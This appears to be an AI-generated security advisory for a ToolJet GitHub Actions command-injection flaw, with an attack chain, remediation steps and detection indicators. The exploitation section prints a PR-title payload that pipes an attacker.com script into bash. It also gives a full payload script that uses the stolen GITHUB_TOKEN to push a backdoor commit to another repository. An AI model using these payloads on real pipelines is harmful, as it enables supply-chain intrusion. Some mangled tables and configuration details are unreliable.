CVE-2026-137964 — Tooljet (all Versions) — CWE-94
ToolJet before 3.21.96-LTS contains a command injection vulnerability in its GitHub Actions release workflow, which interpolates the pull request title directly into a shell run block. Attackers can submit a pull request against a release branch with shell metacharacters in its title that, once merged, executes commands with a cross-repository GITHUB_TOKEN, enabling unauthorized merges into enterprise repositories.
ToolJet before 3.21.96-LTS contains a command injection vulnerability in its GitHub Actions release workflow, which interpolates the pull request title directly into a shell run block. Attackers can submit a pull request against a release branch with shell metacharacters in its title that, once merged, executes commands with a cross-repository GITHUB_TOKEN, enabling unauthorized merges into enterprise repositories.
🎯 What is this vulnerability?
CVE‑2026‑137964 is a command‑injection flaw (CWE‑94: Improper Control of Generation of Code) that lives in the GitHub Actions workflow used by ToolJet (open‑source low‑code platform) to build and publish releases.
| Component | What the workflow does | Where the bug lives | |
|---|---|---|---|
release.yml (or similar) | On a push to a *release* branch the workflow runs a step that executes a shell command such as git checkout "${{ github.event.pull_request.title }}" or npm version "${{ github.event.pull_request.title }}". The title of the pull request is interpolated without any sanitisation into a run: block that is executed by the default GitHub‑provided runner. | The run: block directly expands ${{ github.event.pull_request.title }} into a Bash command line. Bash treats characters like ;, &&, | , ` `, $()`, etc. as command separators or sub‑shell delimiters. Consequently, a malicious PR title can inject arbitrary shell commands that are executed with the permissions of the GITHUB_TOKEN that the workflow receives (read/write access to the repository and, if the token is scoped for the organization, to any repository the workflow can reach). |
Missing protection
- No input validation / sanitisation of the PR title before it is placed in a shell context. The workflow trusts a public* PR title as if it were a safe string, violating the principle of “never trust user‑controlled data in a command line”.
- The workflow runs with a privileged token (
GITHUB_TOKENwithcontents: writeandpull_requests: write) that can be abused to push commits, create/merge PRs, or even open new PRs in other repositories that belong to the same organization.
Because the workflow is triggered automatically on merge, the injection is remote‑code execution (RCE) with network‑level reachability (AV:N), requires no authentication (any attacker can open a PR), and the resulting commands run without user interaction (UI:N). The impact on Confidentiality, Integrity, and Availability is high (C:H/I:H/A:H), which explains the CVSS 9.8 rating.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation path. All command snippets are illustrative – the exact file names or step identifiers are not disclosed in the public CVE description, but the logic mirrors the vulnerable workflow.
1. Discovery & Reconnaissance
| Activity | How it is performed |
|---|---|
| Identify that the target organization uses ToolJet | Search public GitHub for tooljet repositories, look at package.json/tooljet version badge, or enumerate the CI configuration via the repository’s .github/workflows/ directory. |
| Verify the version is < 3.21.96‑LTS | The package.json or CHANGELOG.md in the repo will list the version. |
| Locate the release workflow | Open .github/workflows/release.yml (or similar) and look for a step that contains something like: <br>run: npm version "${{ github.event.pull_request.title }}" or run: git checkout "${{ github.event.pull_request.title }}". |
Confirm that the workflow runs on pull_request_target (or push to a protected release branch) and that it uses the default GITHUB_TOKEN. | The on: stanza and permissions: block in the workflow file reveal this. |
2. Exploitation
Goal: Inject a shell command via the PR title that runs on the GitHub Actions runner and uses the GITHUB_TOKEN to perform malicious Git operations.
2.1 Craft a malicious PR title
A title that closes the quoted string and appends a new command, e.g.:
v1.2.3"; curl -s https://attacker.com/payload.sh | bash; #Explanation of the payload:
v1.2.3" – closes the original quoted argument (the version string). ; – command separator in Bash. curl -s https://attacker.com/payload.sh | bash – fetches and executes attacker‑controlled code on the runner. # – comments out any trailing characters that the workflow might add after the interpolation.2.2 Submit the PR
POST /repos/<org>/<tooljet-repo>/pulls
{
"title": "v1.2.3\"; curl -s https://attacker.com/payload.sh | bash; #",
"head": "feature/malicious",
"base": "release/3.21.95"
}If the repository is public, the attacker can create the fork and PR with a personal access token that has repo scope. No special privileges are required beyond being able to open a PR.
2.3 Trigger the workflow
When the PR is merged (or when the workflow is configured to run on pull_request_target before merge), GitHub Actions checks out the code and executes the vulnerable step. The interpolated command becomes:
npm version "v1.2.3"; curl -s https://attacker.com/payload.sh | bash; #The runner executes the attacker‑controlled curl|bash line as the runner user with the GITHUB_TOKEN environment variable set.
2.4 Sample attacker payload (payload.sh)
#!/usr/bin/env bash
set -euo pipefail
# The GITHUB_TOKEN is automatically exported by GitHub Actions
TOKEN="${GITHUB_TOKEN}"
# Example malicious action: create a new PR in a high‑value repo of the same org
ORG="victim-org"
TARGET_REPO="critical-app"
BRANCH="evil-$(date +%s)"
# Clone the target repo using the token (HTTPS auth)
git clone https://x-access-token:${TOKEN}@github.com/${ORG}/${TARGET_REPO}.git
cd ${TARGET_REPO}
# Create a back‑door commit
echo "// malicious backdoor" >> src/backdoor.js
git checkout -b "${BRANCH}"
git add src/backdoor.js
git commit -m "Add backdoor"
git push origin "${BRANCH}"
# Open a PR via the GitHub API (no extra auth needed, token already has repo scope)
curl -s -X POST \
-H "Authorization: token ${TOKEN}" \
-H "Accept: application/vnd.github+json" \
https://api.github.com/repos/${ORG}/${TARGET_REPO}/pulls \
-d @- <<EOF
{
"title": "Fix typo",
"head": "${BRANCH}",
"base": "main",
"body": "Automated fix"
}
EOFThe payload can be adapted to exfiltrate secrets, delete branches, or install additional runners.
3. Post‑exploitation
| Step | What the attacker achieves |
|---|---|
Command execution on the runner with the GITHUB_TOKEN (full repo write access). | Ability to push commits, create/merge PRs, delete tags, or modify workflow files. |
| Persistence – attacker can add a new workflow that runs on every push, giving a permanent foothold. | Future code execution even after the original PR is closed. |
| Lateral movement – using the same token, the attacker can target any other repository in the same organization that the token is allowed to access (cross‑repository abuse). | Compromise of enterprise‑wide source code, injection of malicious dependencies, credential leakage. |
| Data exfiltration – read any file in the repository (including secret files that may be checked in) and send it to an external server. | Confidentiality breach. |
| Denial of Service – delete critical branches or tags, or push a massive commit that breaks CI pipelines. | Availability impact. |
🌍 Real‑World Impact
| CIA Triad | CVSS Vector Interpretation | Practical Consequence |
|---|---|---|
| Confidentiality (C:H) | C:H – attacker can read all source code, configuration files, and any secrets stored in the repo (e.g., .env, private keys). | Exposure of proprietary business logic, API keys, or customer data. |
| Integrity (I:H) | I:H – attacker can modify code, inject backdoors, rewrite history, or push malicious dependencies. | Production systems may be compromised after a malicious merge; supply‑chain attack potential. |
| Availability (A:H) | A:H – attacker can delete branches/tags, sabotage CI pipelines, or create infinite loops in workflows. | Outage of development pipelines, forced rollback, or loss of release capability. |
Because the vulnerability is network‑accessible, low‑complexity (AC:L), requires no authentication (PR:N), and the token is highly privileged, the overall risk is critical (CVSS 9.8). An attacker can move from a single PR to full compromise of an organization’s entire GitHub ecosystem.
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Action | Details | |||
|---|---|---|---|---|
| Upgrade ToolJet | Move to ToolJet ≥ 3.21.96‑LTS (the first release that removes the unsafe interpolation). The upstream commit that fixes the issue replaces the vulnerable step with a safe Node‑API call (npm version --no-git-tag-version "$PR_TITLE" after sanitising or using a static version bump). | |||
| Apply the upstream PR (if you cannot upgrade immediately) | Replace any run: block that references ${{ github.event.pull_request.title }} with a step that sanitises the value, e.g.: <br>run: | <br> TITLE="${{ github.event.pull_request.title }}"<br> SAFE_TITLE=$(printf '%s' "$TITLE" | sed -E 's/[^a-zA-Z0-9._-]//g')<br> npm version "$SAFE_TITLE"<br> | |
| Pin workflow permissions | In the workflow file, explicitly set permissions: to the minimum required, e.g.: <br>permissions:<br> contents: read<br> pull_requests: write<br> # remove write access to other repos |
2. Workarounds (if immediate upgrade is not possible)
| Technique | Implementation | ||||
|---|---|---|---|---|---|
| Disable the vulnerable workflow | Comment out or delete the step that interpolates the PR title, or temporarily disable the entire release.yml workflow (workflow_dispatch: false). | ||||
| Restrict who can merge to release branches | Enforce branch protection rules that require code‑owner review and status checks from a separate, trusted workflow that does not use pull_request_target. | ||||
| Sanitise PR titles via a pre‑merge check | Add a separate “lint‑title” workflow that runs on pull_request (not pull_request_target) and fails if the title contains characters ; & | $ ( ) \ " ' < >. Example GitHub Action step: <br>run: | <br> if [[ "${{ github.event.pull_request.title }}" =~ [\;\&\ | \$\\\(\)\\"\'\<\>] ]]; then<br> echo "Invalid characters in PR title"; exit 1;<br> fi<br> | |
| Use a dedicated, low‑privilege token | Create a personal access token with only contents: read and pass it to the workflow via a secret (e.g., RELEASE_TOKEN). Do not rely on the default GITHUB_TOKEN for actions that do not need write access. | ||||
| WAF / ModSecurity rule (if self‑hosted runner) | If the runner is exposed behind a reverse proxy, block any incoming request that contains a title parameter with shell metacharacters. Example ModSecurity rule (illustrative): <br>SecRule REQUEST_BODY "@rx \"[; | &$\\(\\)<>]\""<br> "id:400001,phase:2,deny,status:400,msg:'Potential command‑injection in PR title'"` |
3. Detection
| Indicator | Where to look | Example log entry | |
|---|---|---|---|
| GitHub Actions runner logs showing unexpected commands | In the workflow run’s “Step: …” logs (downloadable via the UI or API). | Run curl -s https://attacker.com/payload.sh | bash |
| Unexpected network connections from the runner to external IPs/domains | Runner VM network logs, Cloud‑flare/CloudWatch VPC flow logs, or host‑level iptables logs. | OUTBOUND TCP dpt=443 dst=198.51.100.23 src=10.0.2.15 | |
| New branches or PRs created automatically in repositories that normally have no recent activity | GitHub audit log (/orgs/:org/audit-log). | action=pull_request.opened actor=tooljet-bot repo=critical-app | |
| Changes to workflow files (e.g., addition of a new workflow that runs on every push) | GitHub audit log workflow_job.completed with conclusion=success and workflow=malicious.yml. | workflow=malicious.yml | |
| Secrets leakage – GitHub secret export in runner logs | Runner logs may show *** redacted values, but if the attacker prints $GITHUB_TOKEN it will appear as a long string of characters. | export GITHUB_TOKEN=ghp_XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX |
Alerting suggestions
Enable GitHub Advanced Security alerts for workflow file changes and secret scanning*.
curl AND outbound connection to unknown domain”. pull_request_target events that are triggered by users without write permission on the target branch.⚠️ Urgency
| Factor | Assessment |
|---|---|
| CVSS 9.8 (Critical) – network‑reachable, no auth, high impact on CIA. | Immediate. |
| CISA KEV status – not yet listed, but the exploit is trivial and public. | Treat as zero‑day in the wild. |
| Exploit complexity – low (single PR title). | High priority. |
Potential blast radius – can compromise every repository that shares the organization’s GITHUB_TOKEN. | Enterprise‑wide remediation required. |
Patch priority: Critical – Deploy the fixed version (≥ 3.21.96‑LTS) or apply the mitigation within 24 hours. Until the fix is in place, enforce the workarounds (branch protection, title sanitisation, token scoping) and monitor for the IoCs listed above. Failure to act quickly can lead to a full supply‑chain compromise of the organization’s code base.
[🤖 CVE Professor AI Security Engine]
FOFA Query